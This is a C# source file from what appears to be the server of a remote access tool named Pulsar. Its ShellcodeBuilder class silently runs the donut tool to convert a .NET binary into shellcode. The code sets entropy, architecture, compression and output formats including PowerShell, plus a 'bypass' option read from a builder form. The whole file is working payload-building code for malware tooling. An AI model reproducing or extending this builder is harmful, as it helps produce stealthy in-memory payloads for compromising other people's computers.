using System; using System.Diagnostics; using System.IO; using System.Collections.Generic; using System.Windows.Forms; using Pulsar.Server.Forms; namespace Pulsar.Server.Helper { public enum EntropyLevel { None = 1, Random = 2, RandomSymmetric = 3 } public enum Architecture { x86 = 1, amd64 = 2, Both = 3 } public enum Format { Binary = 1, Base64 = 2, C = 3, Ruby = 4, Python = 5, Powershell = 6, CSharp = 7, Hex = 8 } public enum Compress { None = 1, aPLib = 2, LZNT1 = 3, Xpress = 4 } public enum Bypass { None = 1, Abort = 2, Continue = 3 } public enum Headers { Overwrite = 1, Keep = 2 } public static class ShellcodeBuilder { public static byte[] GenerateShellcode( string binaryPath, string entryClass, string entryMethod, string outputBinPath, bool deleteOutput = true, string donutExePath = "", string clrVersion = "", EntropyLevel entropy = EntropyLevel.RandomSymmetric, Architecture arch = Architecture.Both, Format format = Format.Binary, Headers headers = Headers.Overwrite ) { if (string.IsNullOrEmpty(donutExePath)) donutExePath = Path.Combine(Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location), "donut.exe"); if (!File.Exists(donutExePath)) throw new FileNotFoundException("donut.exe not found", donutExePath); if (!File.Exists(binaryPath)) throw new FileNotFoundException("Input Binary not found", binaryPath); Compress compression = GetCompressionFromForm(); Bypass bypass = GetBypassFromForm(); List args = new List { $"-e {(int)entropy}", $"-a {(int)arch}", $"-i {binaryPath}", $"-c {entryClass}", $"-m {entryMethod}", $"-o {outputBinPath}", $"-f {(int)format}", $"-z {(int)compression}", $"-b {(int)bypass}", $"-k {(int)headers}", }; if (!string.IsNullOrEmpty(clrVersion)) args.Add($"-r {clrVersion}"); ProcessStartInfo psi = new ProcessStartInfo { FileName = donutExePath, Arguments = string.Join(" ", args), RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false, CreateNoWindow = true, WindowStyle = ProcessWindowStyle.Hidden }; using (Process proc = Process.Start(psi)) { proc.WaitForExit(); if (proc.ExitCode != 0) { string stdout = proc.StandardOutput.ReadToEnd(); string stderr = proc.StandardError.ReadToEnd(); throw new InvalidOperationException($"Donut failed (exit {proc.ExitCode})\nSTDOUT: {stdout}\nSTDERR: {stderr}"); } } try { byte[] bytes = File.ReadAllBytes(outputBinPath); if (deleteOutput) File.Delete(outputBinPath); return bytes; } catch (Exception ex) { throw new InvalidOperationException($"Failed to read generated shellcode: {ex.Message}"); } } private static Compress GetCompressionFromForm() { FrmBuilder form = GetBuilderForm(); string compressionText = form.comboBox1.Text; return ConvertCompressionTextToEnum(compressionText); } private static Bypass GetBypassFromForm() { FrmBuilder form = GetBuilderForm(); return form.checkBox2.Checked ? Bypass.Continue : Bypass.None; } private static FrmBuilder GetBuilderForm() { foreach (Form form in Application.OpenForms) { if (form is FrmBuilder builderForm) return builderForm; } throw new InvalidOperationException("FrmBuilder form not found or not accessible"); } private static Compress ConvertCompressionTextToEnum(string compressionText) { return compressionText switch { "None" => Compress.None, "aPLib" => Compress.aPLib, "LZNT1" => Compress.LZNT1, "Xpress" => Compress.Xpress, _ => throw new ArgumentException($"Invalid compression type: {compressionText}") }; } } }